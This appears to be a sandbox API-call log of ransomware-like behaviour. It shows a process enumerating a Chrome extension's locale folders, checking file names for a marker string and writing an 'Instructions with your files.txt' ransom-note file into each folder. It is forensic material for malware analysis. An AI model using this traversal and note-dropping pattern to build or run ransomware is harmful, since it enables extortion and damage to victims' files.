[0129.321] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs") returned 143
[0129.321] GetProcessHeap () returned 0x810000
[0129.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.321] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*") returned 145
[0129.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.322] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\.") returned 145
[0129.322] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.322] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\..") returned 146
[0129.322] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.322] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 157
[0129.322] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.322] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.322] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\Instructions with your files.txt") returned 176
[0129.322] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.323] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.323] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.324] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.324] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.324] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.324] CloseHandle (hObject=0x134) returned 1
[0129.324] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.324] GetProcessHeap () returned 0x810000
[0129.324] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.324] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.324] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned 143
[0129.324] GetProcessHeap () returned 0x810000
[0129.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.324] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*") returned 145
[0129.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\.") returned 145
[0129.327] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\..") returned 146
[0129.327] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 157
[0129.328] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.328] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.328] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\Instructions with your files.txt") returned 176
[0129.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.328] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.329] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.329] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.329] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.329] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.329] CloseHandle (hObject=0x134) returned 1
[0129.329] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.329] GetProcessHeap () returned 0x810000
[0129.329] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.329] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.329] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned 143
[0129.329] GetProcessHeap () returned 0x810000
[0129.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.329] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*") returned 145
[0129.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\.") returned 145
[0129.330] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\..") returned 146
[0129.330] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.330] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 157
[0129.330] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.331] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.331] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\Instructions with your files.txt") returned 176
[0129.331] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.331] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.332] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.332] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.332] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.332] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.332] CloseHandle (hObject=0x134) returned 1
[0129.333] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.333] GetProcessHeap () returned 0x810000
[0129.333] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.333] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.333] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned 143
[0129.333] GetProcessHeap () returned 0x810000
[0129.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.333] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*") returned 145
[0129.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.333] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\.") returned 145
[0129.333] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.333] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\..") returned 146
[0129.333] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.333] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 157
[0129.333] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.333] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
